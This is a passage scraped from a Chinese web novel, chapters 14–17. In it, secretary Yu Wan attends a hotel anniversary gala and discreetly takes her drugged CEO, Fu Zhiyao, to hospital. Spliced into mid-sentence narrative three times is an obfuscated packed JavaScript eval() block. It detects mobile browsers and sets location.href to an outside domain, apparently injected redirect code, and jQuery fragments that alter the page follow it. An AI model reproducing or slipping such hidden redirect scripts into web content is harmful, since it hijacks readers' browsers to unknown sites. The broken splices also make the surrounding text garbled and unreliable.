本以为蔡秘书会陪着她去服装店选购,但事实上,蔡秘书只是将她领进一家看起来就十分高档的服装店,紧接着,一切都交给服装店的店员。
虞晚走在蔡秘书身侧,趁着店员引路的功夫,低声同蔡秘书说:“这家店肯定很贵,我们要不换一家吧。”
蔡秘书也压低声音,悄咪咪地说:“老板家的产业,放心,老板的会员卡可以打折。”
虞晚:“……”
蔡秘书进了休息室,虞晚则被店员引着去了试衣间。
一间宽敞到足以被当成客厅的奢华试衣间。
虞晚在店员的提醒下,伸开手臂,店员细心为她量尺寸和围度,一旁另一位店员则在手中的本子上记录。
注意到虞晚的目光,店员微微一笑:“虞小姐您放心,我们店十分注重保护客人的隐私,有关您身材尺寸的记录是不会被泄露出去的。”
虞晚不好意思笑笑。
她没敢说自己不是因为这个才看她,她只是在想,测尺寸买服装这种事情实在是太高级了,有些超出她对服装购置的理解。
这样昂贵的服装购置费,公司也能报销吗?
虞晚多年的生活经验告诉她,如果有天降大饼,一定不要理会,那都是骗人的,她没那么好的运气;但如果是明确了解的人给出的、可以实实在在吃到嘴里的大饼,一定要感激。
老板是有钱人吗?是的,他是。
老板说报销服装费用是假话吗?不是,老板一向说到做到。
老板给她报销服装费用有什么目的呢?是想让她更好地为公司工作,当好打工人。
因此,在购置完服装后,虞晚回到公司的第一件事就是去找傅知尧。
敲了敲门,虞晚站得笔直,安静等候。
门口有个小型传声设备,傅知尧只说了一个字:“进。”
往常轻蔑倨傲的声音在此刻的虞晚听来宛如天籁悦耳。
虞晚走进去,怎么都抑制不住嘴角的笑容,声音也比往日要高两个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585336|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
度:“老板!”
傅知尧差点被虞晚吓一跳,掀眸看过去,对上虞晚明亮的眼睛和灿烂的笑容,一排整齐的牙齿晃人眼。
傅知尧挑眉:“捡钱了?”
虞晚心,和捡钱没什么区别。
虞晚收住脸上的笑容,正色道:“谢谢老板,衣服我已经买完了,拜托店员给我寄到了学校,原本打算将买衣服的发票带给您,但蔡秘书告诉我账是直接记在您的消费卡上,消费金额您可以直接查看。”
也是因此,虞晚并不清楚今日买的衣服共花费了多少钱,但那样高端的店铺,服装价格绝对不会低。
不过,她好歹也算总裁办的小员工,穿得太廉价总有点拉低老板档次,大概这就是老板昨天问她衣服多少钱的原因吧。
“嗯。”傅知尧低头继续看文件,半晌,补充,“毕竟是员工福利,做好你的本职工作就行。”
虞晚弯腰鞠躬,“我知道,谢谢老板!”
说完,虞晚走上前,将庆典检查注意事项的表格放到傅知尧桌上,说起正事儿:“老板,这是周年庆典我和蔡秘书的检查顺序和检查事项明细表,前几天有问题的设备均已换新,今天检查了一遍,没有任何问题。”
“嗯,放着吧,还有其他事情吗?”
“没有了。”
虞晚转身往办公室外走,想了想,转过身,又道:“老板,虽然蔡秘书没告诉我衣服价格,但衣服买了好几套,肯定不便宜,谢谢老板对我的信任,我会努力工作的!”
办公室门关上,傅知尧停了笔,想起虞晚的傻笑,摇了摇脑袋,拿起手机看了眼,账单已经从他信用卡上结算完毕。
看了眼金额,傅知尧挑眉。
多吗?贵吗?
加一起还没他一件衬衫价格高。
买几件衣服就开心成这样,真是一个容易满足的人,要是转正,岂不是要高兴上天了?
还是太年轻,什么都写在脸上。
傅知尧放下手机,继续处理工作,处理到一半,发现自己嘴角不知为何还处于上扬状态,他表情猛地一塌。
不对,不对劲。
他一个出钱的有什么好开心的。
傅知尧旋即恢复面无表情,但在看到虞晚制作的那张表格后,还是觉得很舒心。
表格按照庆典流程一一检查各类器具和设备的运行状态,确认无误的就在后面画个对勾,最后总结了几次检查的改进结果,还附上了对酒店管理的一些思考建议,表格简约干净。
看到这张表格,心底就和吃了一碗白米饭一般踏实。
要不是虞晚职级不够,前几天的高层会议没法儿参与,傅知尧恨不得高层会议的会议纪要都让虞晚写。
也不知那群人是怎么办事的,一个会议纪要硬生生让他打回去三遍才写好,不是有语义错误就是有语病,一大群人加在一起居然还没虞晚一个小秘书好用。
傅知尧弹了弹薄薄的纸张,拍照扫描,发到公司高管都在的聊天群里。
只有两个字,言简意赅。
傅知尧[CEO]:【学习。】
15. 第 15 章
星玥三十周年庆典当晚十分热闹,傅氏集团邀请了业内各位前辈和大佬们参加,宴会厅装饰得金碧辉煌,穿着黑色西装的侍者戴着白色手套端着酒盘穿梭在衣香鬓影中,长桌上摆满各种美食珍馐,让人应接不暇。
宴会厅入口,卫羡穿着礼服同关彦轩一同接待宾客,无意瞥见虞晚的窈窕身影。
她今天穿了一件藕粉色的长裙,比起礼服更为轻盈简约,更像是日常穿的裙子,但裙子布料透着莹润的光泽感,走动间,能看到像是绣球花般的平纹提花,小v领设计,露出细瘦的锁骨,裙摆收得紧,勾出挺翘的臀部与腰部线条,视觉冲击感十足。
她正亦步亦趋跟在傅知尧身后,傅知尧问什么,她就答什么,模样乖巧。
卫羡没控制住,在虞晚路过时吹了个流氓口哨。
虞晚扭头,瞧见是她,露出了个灿烂的笑容:“卫总监好。”
一旁关彦轩顺着卫羡视线看到虞晚,她勾着唇角,淡粉色嘴唇两侧是个浅浅的括号,笑得十足甜美。
关彦轩垂下眼,又转过视线,继续接待来宾。
傅知尧听见虞晚在同人说话,扭头看过去。
卫羡刚对着虞晚笑了没几秒,一下便挺直腰身,朝着傅知尧点了下脑袋,装作什么都没发生一般转过身。
虞晚心想,大老板的威慑力果然与众不同。
这大概是虞晚在入职傅氏后第一次参加大型活动,她精神头十足,相当积极,甚至换上了公费购买的新裙子。
果然,傅知尧在见到她今天穿这件新裙子时多停留几眼,也没说什么挑剔的话。
虞晚怀疑,要是自己还穿白衬衫和牛仔裤,绝对会被傅知尧无情踢出宴会厅。
庆典于七点正式开始。
万众瞩目中,傅知尧走上台。
一身青果领黑色西装,佩戴深蓝色领结,领结上是一枚漂亮的金色编织链条领带环夹,华灯下闪烁着细腻的光泽,配上那张惊世骇俗的脸,显得格外矜贵优雅。
傅知尧将立式话筒拔起,调整高度,动作不急不缓。
他手中没有发言稿件,但虞晚知道,总裁办的尚秘书给他写过一份约500字的稿子。
虞晚借着送稿子的功夫看了几眼,尚秘书不愧是公司的文学王子,文字功底老练简凝。
老板没拿稿子,大概是已经背下来了,不过,等傅知尧开口,虞晚就知道对方压根没用尚秘书给的稿子。
台上俊朗的男人抬眸看向台下,嗓音醇厚:“大家好,我是傅知尧,首先感谢各位拨冗前来参加星玥酒店三十周年庆典。”
鼓掌声过后,傅知尧继续开口:“星玥酒店的发展,各位有目共睹,从最初的创立到现在国内top级别顶奢酒店,我在此诚心郑重地感谢各位星玥人,正是你们的努力付出才有了现在的星玥,这是星玥三十周年庆典,同样也是对我们星玥人的一次表彰和纪念,希望各位星玥人能再接再厉,为星玥未来发展而奋斗,我相信,星玥在各位的努力下,能走向壮大和辉煌。”
傅知尧声音沉稳,不疾不徐,一番话简单却有力,代表他作为公司总裁对星玥集团每一位努力的工作人员的表扬,这恰恰是员工们所需要的,除了高昂的工资,服务行业的他们更需要自己的价值被看见被肯定。
这是社会价值上的实现。
虞晚站在台下,同其他人一齐鼓掌,拍着拍着,忽然对傅知尧有了不一样的认知。
工作上不松懈,极少享乐,虽然总是一副冷淡到全天下的人都欠了他钱的样子,但不可否认,傅知尧是一位很优秀的领导者。
宴会正式开始。
接下来的时间就是各位嘉宾的交际时间。
角落里,乐队优雅整齐地演奏,舒缓悠扬的乐声在大厅内回荡,声音经过挑高宴会厅的传播,自带和声效果,格外悦耳动听。
虞晚坐在傅知尧旁边,一边听曲,一边往嘴里塞葡萄,塞了两颗,忽然想起傅知尧还没吃东西。
“老板,你想吃点什么,我去给您取,吃点东西垫肚子,待会儿喝酒肚子也会好受点。”
傅知尧瞥她一眼,淡淡嗯了声。
虞晚小跑着去自助餐桌前取食物,长桌上摆满各种精致的糕点和美食,虞晚眼睛都要看不过来了,火速选了一些傅知尧可能会喜欢的食物端回去。
虞晚:“老板,这是甜点勺,您试试好不好吃。”
自助餐桌那边还有其他肉类食物,但不方便入口,味道也大,虞晚拿的都是些甜品。
傅知尧给面子地吃了口慕斯蛋糕,随后皱眉:“太甜。”
“那你试试巧克力曲奇。”
“太干巴。”
“这块奶油的呢?”
“不爱吃奶油。”
“马克龙呢?”
“太腻,你选的都是什么东西,不好吃。”
傅知尧毫不掩饰嫌弃。
本以为自己挑剔来挑剔去小秘书会生气,一抬头,只看到虞晚沉思的表情,“那我再去给你选,我记得那边还有抹茶巴斯克,估计不甜。”
傅知尧可有可无地应了声,看着虞晚小跑过去的身影,像极了小白鼠奔跑的模样,哦不,粉皮小老鼠。
这回带来的甜品终于有傅知尧喜欢的了,傅知尧吃掉了小半块抹茶巴斯克以及一份抹茶冰乳酪曲奇,吃完,又喝了两口热红茶。
看到傅知尧吃了东西,虞晚放下心来,可以开始专注解决她面前的甜品。
中途,漂亮的女人们一波又一波过来同傅知尧聊天搭讪,眼眸流转间暗送秋波,也有人大胆邀请傅知尧和她去舞池里跳舞。
对此,傅知尧只有一句话:“我不跳舞。”
那些漂亮女人听到他这话,脸上笑容弧度也不曾变过,客套寒暄两句便离开,将识趣二字发挥得淋漓尽致。
虞晚头一次认识到傅知尧在小说世界中的男主地位。
长得帅,还有钱,有权有势形象化,就算什么借口都不找依旧不影响其他人对他的奉承,脾气爆怎么了,见到女主之后通通百炼钢成绕指柔,这是独属于女主能赋予男主的改变。
想到这里,虞晚不禁困惑。
她成为傅知尧秘书快一个月了,不仅没怎么见到女主宋楚楚,也没怎么看到傅知尧和宋楚楚之间的交集。
难道她穿了个假小说?
瞧见傅知尧端了杯红酒起身,虞晚收起心神,跟在傅知尧身后,看他和商业伙伴碰杯聊天。
虞晚继续充当小透明,竖着耳朵偷听他们说些什么基金、债券的高大上话题,期望能学到些什么东西。
期间也有人问起她,虞晚便落落大方介绍自己:“X总,您好,我是傅总的秘书,我叫虞晚。”
没一会儿功夫,虞晚就收到了五六张名片,乐呵呵地捏在手里。
傅知尧瞧见,问她:“笑什么?”
虞晚直白展示给傅知尧看:“老板,我收到了好多名片。”
傅知尧冷嗤一声,“收到名片有什么用,就算给他们打电话,他们也不会理你的。”
商场是个十分现实的地方,拜高踩低、阿谀奉承,为利益无下限不惜一切,虞晚一个小秘书过去,人家恐怕正眼都不会给一个。
虞晚脑子咕噜转,道:“我先介绍说我是傅氏公司傅总的秘书,这样他们不就会理我了?”
傅知尧一个眼刀飞过去,语气却没有责怪的意思:“我的名头就是拿给你做坏事的?”
虞晚连忙发誓:“老板,我保证我不会拿您的名头干坏事,老板您的面子就是我们公司的面子,我是绝对不会做出有损我们公司发展的事情。”
要是公司发展不好,那她怎么赚工资,怎么拿奖金,要知道因为纽裕禾红酒广告‘一镜到底’的主意,虞晚收到了两千块的创意奖金。
这可是一笔大收入!
果然跟着老板混好,跟着老板有肉吃有钱拿。
虞晚不自觉笑起来。
傅知尧看了几眼虞晚,什么话都没说,想起虞晚今晚可能只吃了点东西,便让她别跟着自己。
“你去拿东西吃吧,不用跟着我。”
虞晚知道老板的性子,答应下来:“好的老板,我就在自助餐桌那边,有事情叫我。”
总不能她端着盘子乱走,等老板满宴会厅追她吧,有损大老板的威严。
傅知尧随意挥了挥手,虞晚迅速溜了。
没想到这一溜就出了事。
虞晚在自助长桌上找食物,她可不比老板只能吃甜品,肉类食物统统收入餐盘,吃了个大满足。
中途抽空注意一下老板那边的情况,确认没什么问题,虞晚继续端着餐盘在长桌上搜寻,纠结到底是吃菲力还是澳龙。
但,小孩子才做选择,她还有肚子装,当然是全部都吃。
虞晚找了个小角落,正准备将餐盘放下,一道人影忽然撞了上来,虞晚躲避不及,腰间猛地一凉,手中的餐盘脱手摔在桌上,食物散落得到处都是。
好在虞晚找的小角落人不多,没伤及无辜。
只是她的裙摆染上深红色酒渍,多余的红酒液体顺着重力方向往下滴,滴落到她穿着单鞋的脚背上。
虞晚抬起头,看清了来人。
赵予书举着空荡荡的酒杯,嘴里说着道歉的话,表情不见半点歉疚:“啊,真是不好意思,对不起啊,虞晚,我刚刚没看见你。”
见虞晚没说话,赵予书又开口:“虞晚,你不会生气了吧,我真的不是故意的,我是看你这条裙子太漂亮了想凑近点看看,我不知道会这样……”
虞晚看着赵予书,表情平静:“道歉我接受,解决办法呢?”
赵予书表情一僵,“什么意思?”
“我的裙子被你弄脏了,你和我道歉,我的裙子就能变干净吗?”
虞晚说话声音并不大,甚至因为咬字清楚,说起来也软软的,看似毫无攻击力,却让赵予书脸色变得难看,她咬紧牙根:“……我知道了,干洗费用我会出的,这样行了吧。”
虞晚认真点头:“你放心好了,裙子干洗账单我会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585337|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发给你的,记得转钱。”
说完,虞晚转身就走,压根不留给赵予书说话的时间。
她先是找到服侍生,让其帮忙收拾餐桌,紧接着去洗手间清洗衣服,为了避免再碰上赵予书,虞晚特意选了上一层楼的洗手间。
从消防通道进入,楼梯口侧边刚好有个洗手间,虞晚走进去,小心翼翼用卫生纸吸去多余的红酒液体。
红酒渍不容易清洗,反正赵予书自己说要承担干洗费用,虞晚准备送去洗衣店清洗。
只不过,虞晚想不明白,为什么赵予书会针对她。
最初入职时虞晚就知道那些同自己一起吃饭的实习生并不是喜欢她,只是因为大家都是实习生,孤立或者排挤这种上不了台面的手段要是被主管或领导知道会影响转正,迫于无奈才带着她。
细细想来,实习生们对她的热情止步于得知她的学历。
难不成,赵予书是觉得自己学历太低不配当老板的秘书?
学历这点,虞晚的确只有一个普通一本,她不否认,但这同样是她认真考出来的呀,她不抄袭,不走捷径,同样经过笔试、面试进入傅氏,这有什么好丢人的。
虽然这样安慰自己,虞晚却不可避免感觉失落。
从洗手间出来,虞晚注意到昏暗的酒店长廊上出现一道高大的身影。
男人似乎喝醉了,路都走不稳,只能勉强扶着墙壁,跌跌撞撞朝着她的方向走来。
走近了,进入灯光内,虞晚得以看清来人的长相。
是傅知尧。
他满脸潮红色,像是春日开得靡靡火热的海棠,从脖颈一路燃烧到脸颊,深邃眸子如浸过冰水般透亮,英挺的眉毛皱着,双眸微眯,艰难克制的表情充满情.欲气息。
虞晚整个人僵在原地。
这么快就到了走剧情的那一天吗?原来小说里被下药的剧情发生在今晚吗?
虞晚记得,傅知尧是在被下药后和女主宋楚楚无意撞到一起,两人进了电梯,一路干柴烈火烧到了总统套房,一夜过后,宋楚楚递交辞呈消失,三年后带着孩子回国,开启和男主的重逢。
这是虞晚个人对简介的精准概括,但等剧情真正发生在她面前,虞晚才头一回察觉穿进小说中的可怕。
她像是被人定在原地,动弹不得,大脑一片空白,几乎无法思考。
就在这时,虞晚听到身后传来的动静,她下意识转过身去看,一双热腾腾的手猛然搭上了她的肩膀。
“虞晚……”
傅知尧的声音几乎是贴着她的耳朵喊出来的,呼出的热气潮湿粘腻,像是被揉碎的花瓣溢出的汁液,甜美而蛊惑。
虞晚浑身一颤,转过身,声音干涩:“……老板。”
傅知尧声音气若游丝:“去医院,我不对劲……”
他不知道自己是什么时候喝下有问题的酒,等反应过来不对劲,药效已然发作,他来不及找虞晚,便从最近的出口往楼上跑,可跑了没几步,身子如同在火上炙烤,全身力气被抽去,连迈步都困难。
但好在他看到了虞晚。
说完那句话,傅知尧失力朝着虞晚方向倒下,虞晚下意识张开双臂接住傅知尧,但她没做好准备,顺着傅知尧扑过来的方向,‘咚’的一屁股坐到墙角。
两人呈现出一种奇怪的姿势。
虞晚靠在墙角,双腿屈起,傅知尧倒在她身上,脑袋抵在墙壁上,鼻尖擦着她的长发,几乎是跪坐在她面前。
慌乱中虞晚记起自己手机被她用绑带绑在大腿处,为的就是提防紧急情况拿不了手提包不方便。
想到这儿,虞晚赶忙撩起裙摆,扯出手机,因为手抖,锁屏密码都输错了好几次。
傅知尧半靠在虞晚身上,药效发作的缘故,大脑思绪像是弹簧球被线扯着在无垠的空间内四处弹跳,找不到落脚点。
大约是离虞晚近的缘故,他感受到虞晚身上冰冰凉凉的温度,闻到她身上淡淡的沐浴露香气,大概是白玉兰的味道,清新淡雅,让他想将自己整个人毫无保留地贴上去。
可他不能,他强行克制着自己偏转脑袋,滚烫的呼吸不断扑洒在冰凉柔顺的发丝上。
即便是这种时候,距离如此近的时候,他仍旧听不见虞晚的心声。
尽管傅知尧清楚听不见人心声才是正常状态,可他早已用心声获悉过无数次别人的内心想法,靠着这种类似于作弊的方式快速分辨和筛选人才,他自以为了解别人才能更好地使用别人,头一回遇到无法辨别心声的虞晚,比起信任,傅知尧内心怀疑其实更多。
也是因此,傅知尧无法完全对小秘书卸下心防。
看到小秘书毫无顾忌撩起长裙,露出雪白的大腿,更是觉得小秘书别有居心。
傅知尧理智恢复了一些,他结实的手臂撑住墙,艰难挺直背看虞晚,一双眼漆黑深沉,眼底染着旖旎水光,脑子跟着发热的身体混沌起来。
他咬牙切齿吐字:“虞晚……你,你有事情瞒着我,等我抓到把柄,呵,……不可、不可饶恕……”
16. 第 16 章
说完,傅知尧彻底失去力气,双眼一闭,毫无顾忌地栽倒在虞晚身上,虞晚尾椎骨再次遭受重创。
她疼得龇牙咧嘴,但与此同时理智回笼,她反应过来,现在不是打急救电话的时候。
今天是星玥酒店三十周年庆典,来酒店的媒体记者不少,如果救护车抵达酒店,那些媒体就会跟苍蝇一样蜂拥而至,将老板被人下药的事情闹上热搜,这肯定不是老板想要的。
但老板这种情况,虞晚必须将他送去医院。
想清楚该干什么后,虞晚小小身躯爆发出无穷力量,硬生生将傅知尧这个大块头从地上扶起来,傅知尧没什么意识,痛苦地紧闭双眼,半边身体重量朝着虞晚砸来,虞晚踉跄了两下才勉强站稳。
带着傅知尧转过身,虞晚看到不远处站着的宋楚楚。
她穿着一身莹白色长裙,黑色长发半挽,露出清秀漂亮的脸蛋,她表情带着无措和困惑,小心翼翼喊着虞晚的名字:“虞晚……,傅总他是怎么了?需要帮忙吗?”
虞晚现在已经没心思去管所谓小说剧情,也不想追问为什么宋楚楚会出现在宴会厅上一层楼道内。
她看向宋楚楚,话语坚决:“的确有事情要麻烦你,你去大厅内找总裁办的蔡秘书,又或者你们行政部的董总监,告知他们傅总喝醉了酒,庆典结束时没办法上台讲话,看能不能找公司其他的董事顶上,我这边会将老板送去休息室,你可以吗?”
宋楚楚视线停留在傅知尧脸上,他微垂着脑袋,加上走廊光线并不是特别亮,看不太清楚傅知尧的表情,但俊朗的脸蛋明显发红,额间冒着细密的汗珠,有点像是喝醉,又不太像,让她觉得困惑。
虞晚重复喊了一遍宋楚楚的名字,将她的思绪拉回来:“我刚刚说的,你可以做到吗?”
宋楚楚回神:“啊好的,没问题,但是你力气够吗?需不需要我帮忙?”
虞晚摇头,“不需要,你下楼去找蔡秘书就好,麻烦你了。”
虞晚扶着傅知尧转身离开,宋楚楚却迟迟没有动,直到虞晚和傅知尧身影消失在她视线内。
她其实不明白为什么自己会到宴会厅的上一层来,但冥冥之中似乎有人指引她过来。
所以,她来了。
看到的除了傅知尧,还有另一个她意向不到的人,虞晚。
就在宋楚楚准备回去找董总监的下一秒,瞧见一张熟悉的面孔,她快步走近,惊喜地对男人说道:“决风哥!你怎么在这儿?”
高大的男人面容从阴影处显现,俊美斯文的脸暴露在灯光下,他看向宋楚楚,脸上挂起温和绅士的笑容。
“和你一样,你来干什么,我就来干什么。”
“决风哥你还是这么爱开玩笑,不过我好像走错了楼层,宴会厅在五楼,我在六楼,我们一起下去吧。”
男人没有拒绝,同宋楚楚一起进了最近的电梯,电梯门缓缓合上,隔绝了男人阴沉的眸色。
虞晚带着傅知尧进入员工通道电梯,在电梯内给司机老武打了个电话,确认武师傅还在停车场,让他拿上口罩和帽子过来接应傅知尧。
老武来得很快,看到傅知尧的样子,神色慌张起来,“虞秘书,傅总这是……?”
虞晚从老武手中接过干净的口罩和帽子,利落将其戴到傅知尧脸上,遮住他锋利的下颚线和深邃的眉眼,确认拍不到老板的脸,将另一个口罩给自己戴上。
虞晚说:“武叔,先上车,上车了再说。”
老武明白这里不是说话的地方,警惕地打量一圈周围:“好,我扶着傅总先走,虞秘书你注意周围有没有扛着摄像机的狗仔。”
“嗯,武叔您扶着傅总当心点前面的路。”
虞晚走在两人身后,时刻注意附近情况,大概是举行宴会的缘故,停车场内人并不多,加上星玥酒店安保到位,没有狗仔突然冲上来拍摄,三人顺利上了车。
虞晚终于松口气,一面给傅知尧系安全带,一面同老武解释:“傅总喝的酒里被人下药了,我们现在要送傅总去医院,武叔您车速能不能快点。”
老武跟在傅总身边工作了将近十年,工作忠心、认真负责,平日里也不喝酒,可以说老武是傅知尧的心腹重臣。
因此,虞晚没有隐瞒傅知尧身上发生的事情。
老武心底一惊,手中动作没停,利索拧动车钥匙出发:“好,虞秘书,你照看好傅总,我们现在就走。”
“嗯。”
车子驶出地下停车场,虞晚拿出手机给蔡秘书打电话。
方才对宋楚楚说的话,一部分是出于保护老板隐私的谎言,既然老板明确说了要去医院,很难说清宋楚楚参与进帮忙会不会节外生枝,虞晚不敢赌概率,另一部分则是真心麻烦宋楚楚知会蔡秘书,以免蔡秘书发现老板消失而多想。
也是在这个时候,虞晚忽然想起老板在晕过去前说的那句话:你有事情瞒着我。
她的确有事情瞒着老板,但穿进小说世界这件事情太玄幻,老板会相信吗?
思考的间隙,手机接通,虞晚回神,告知蔡秘书老板现在的情况。
虞晚问他:“蔡秘书,武叔正在开车去老板日常就诊的那家私人医院,后续有事情我会给你打电话,那我们需不需要告知老板的家人?”
虞晚知道傅知尧父母车祸去世,家里目前只有奶奶和妹妹两位亲人在,但老板出了事,照理说应该联系老板家人来医院。
“不用,虞晚,武叔知道从哪条路去医院最隐蔽,你听他的就好,庆典这边我和尚秘书会处理,等我赶去医院,再让武叔送你回学校,这期间麻烦就你照顾老板了。”
虞晚:“蔡秘书,你放心,我知道。”
蔡秘书那边稍稍停顿两秒,又道:“虞晚,老板的家庭背景你应该多少有所了解,他不愿意让家里人担心,等老板醒来,他自有判断。”
挂断电话,虞晚视线投向一旁的傅知尧。
傅知尧闭着眼,眉心紧蹙,额间密密麻麻都是渗出来的汗珠,鬓间黑发被打湿,贴在太阳穴两侧,脸色红润异常,但嘴唇泛着隐忍的苍白,因为药效发作,漆黑的眼睫止不住地轻颤,像是脆弱的蝶翼,似乎下一秒就要陨灭。
是和平日里冷面魔王不同的另一面。
虞晚拿了条干净的毛巾,倒了些矿泉水在上面,侧身给傅知尧擦去额头上的汗珠。
矿泉水在冰箱内冻过,几乎是刚碰到傅知尧额头的一瞬,他就敏锐地察觉。
‘啪’的一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587116|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>宽大滚烫的手掌牢牢捏住虞晚削瘦手腕,阻止了她的进一步动作。
傅知尧深邃漆黑的眼睁开,看清是虞晚,缓缓松了手,张嘴,嗓音哑得不像话:“……你想干什么?”
虞晚被吓一跳,有些紧张,说:“老板,你额头上都是汗,我想着用冰矿泉水打湿毛巾给您擦一擦,这样你会不会好受一些。”
傅知尧再次合上眼,喉间轻轻应了一声,虞晚小心将毛巾擦过傅知尧的额头和脸颊,冰水擦过的地方皮肤迅速降温,但不消片刻,又迅速升温,聊胜于无,虞晚擦得仔细,注意到傅知尧靠着不舒服,往他背后放了一个小靠枕。
期间傅知尧睁开眼,只看到虞晚认真的浸湿毛巾的侧脸,他转过脸,努力想要分散自己的注意力,但视线却不由自主偏向虞晚,车窗外霓虹灯影掠过少女的面容,宁静得像是一潭春水。
到了医院,和虞晚想象中的挂号、排队、缴费、排队、看病、排队、检查的繁琐流程不同,傅知尧直接被人推着进了高级病房,病房是个小套间,客厅、洗手间和厨房一应俱全,比小型公寓装修还要整洁漂亮。
傅知尧甚至不必移动,躺在舒适柔软的床上,抽血、化验一条龙贴心服务,最后周医生给他注射了一针有镇定效果的注射剂,傅知尧紧绷的表情逐渐松开,似是沉入梦乡。
留下老武在病房内照看傅知尧,虞晚跟着周医生去办公室了解详细情况,将周医生的叮嘱牢牢记在手机备忘录上。
等蔡秘书赶来医院,虞晚已经在脑海内理清事情的来龙去脉,一一同蔡秘书交待。
蔡秘书沉吟:“也就是老板在喝下那杯下了药的酒时你并不在他身边,不知道是谁给他下的药。”
虞晚点头,有些内疚:“都是我的问题,要是我当时一直陪在老板身边也不会这样。”
而且,如果不是赵予书将红酒泼到了她裙子上,她也不会去上一层楼的洗手间,如果不去洗手间,自然就碰不上老板。
那么,和原小说一样,老板会和女主宋楚楚遇上……
但,这是老板所希望的吗?
虞晚可以确信不是。
因为老板见到她说的第一句话是送他去医院,如果他想要和人发生关系,何必说这样的一句话,在药物作用下理智燃烧殆尽,还会注意面前的人是谁?还会克制自己情感的宣泄吗?
正是今晚发生的事情,让虞晚意识到,小说剧情并非是固定的,从进入这个世界开始,她就不能以一种旁观者的身份自以为是地看其他人,大家都是活生生的人,不是被剧情操控的人偶。
蔡秘书:“话不是这么说,谁都不想发生这样的事情,自责没什么用,不过你今晚紧急处理方式很不错,知道联系老武和我,也知道避开媒体和记者从员工通道离开,比我刚入职还要厉害。”
虞晚知道蔡秘书是在安慰她,努力扯了个微笑。
蔡秘书拍拍虞晚肩膀,“好了,时间也不早了,让老武送你回学校,这边有我在,你就别担心了,到学校了记得给我发个消息报平安。”
虞晚点头,“嗯,麻烦蔡秘书了。”
她毕竟是女性,留下来照顾老板传出去也不好听,将注意事项传送一份给蔡秘书,坐上老武的车回了学校。
17. 第 17 章
到宿舍时已经快十一点,毛新灵洗漱完,正躺在床上看剧。
听到动静,从床帘中探出一个脑袋,看到是虞晚,松口气。
“吓死我了,你今天怎么回来这么晚,给你发消息你也没回,要是过了十二点你还没回寝室,我可就要打报警电话了。”
虞晚将挎包放在桌上,这挎包是蔡秘书从酒店储物柜里帮她取来的,里面装着她的笔记本和电脑。
她道:“晚上是酒店周年庆典,要忙的事情比较多,没来得及看手机,不过谢谢你呀新灵。”
毛新灵没在意这些,挥挥手:“好了好了,感谢的话我都要听腻了,快去洗澡,过了十二点水就不热了。”
“好。”
虞晚给蔡秘书报了个平安,放下手机去浴室洗漱。
洗漱完,虞晚擦了点大宝保湿乳上床,对床的毛新灵还在看剧,不过她戴着耳机,什么声音都没传出来。
虞晚翻了个身,闭上眼,脑海中不自觉浮现今日发生的事情,小说剧情和现实不断交迭,像是轰隆隆运行的火车,让她无法安稳入睡。
翌日不到五点半虞晚就睁开了眼。
今天是周六,按理说虞晚不需要上班,但心里揣着事,虞晚也没办法再入睡,干脆翻身起床,下床梯的时候尾椎骨那块隐隐作痛。
虞晚揉了揉,没忍住想,因为扶老板摔到尾椎骨不知道能不能申请工伤补贴。
室友毛新灵还在睡梦中,虞晚蹑手蹑脚刷牙洗脸,借着晨光收拾好昨晚穿的粉色长裙,准备送去干洗店。
反正赵予书说她会出干洗费,虞晚才不会故作矜持说不需要。
将裙子交给洗衣店的老板,说明需要重点清洗的地方,虞晚付过钱,接过发票,顺手拍照发给赵予书。
吃过早餐,虞晚坐地铁去了一家知名茶楼,排队给傅知尧买了一份粥,随后坐着公交车抵达昨晚的私人医院。
虞晚向前台护士展示了自己的工牌,护士认出虞晚,主动开口说傅知尧昨晚情况稳定,今天就能出院,让她不必太担心。
虞晚谢过她,登记好姓名,得以进入病房区。
抬手敲了敲门,没人回应,虞晚有些担心老板出什么意外,按下门把手,“老板?你没事吧,我进房间了……”
虞晚走进去,并没有在床上看见傅知尧,正准备出门找人询问,卫生间门被忽然推开。
砰的一声响,唤回了虞晚的脚步。
傅知尧穿着蓝白条纹的病服,扶着卫生间门框,不紧不慢掀眼看她。
看到老板没事,虞晚放下心,喊了他一声:“老板。”
傅知尧从卫生间走出来,坐到病床上,扯了张纸擦手,他刚洗漱完,脸上还沾着几颗水珠,面容颇有些疲惫,皮肤比往日更为苍白,眼下黑青色眼圈明显。
看样子,昨晚睡得并不好。
“今天不是周六?”傅知尧张口,嗓音有些沙哑。
言下之意,虞晚不需要来看他。
虞晚举起手中的粥,“老板,我怕你肚子饿,给您带了早餐,是聚德楼的瑶柱青菜粥,里面还加了虾仁。”
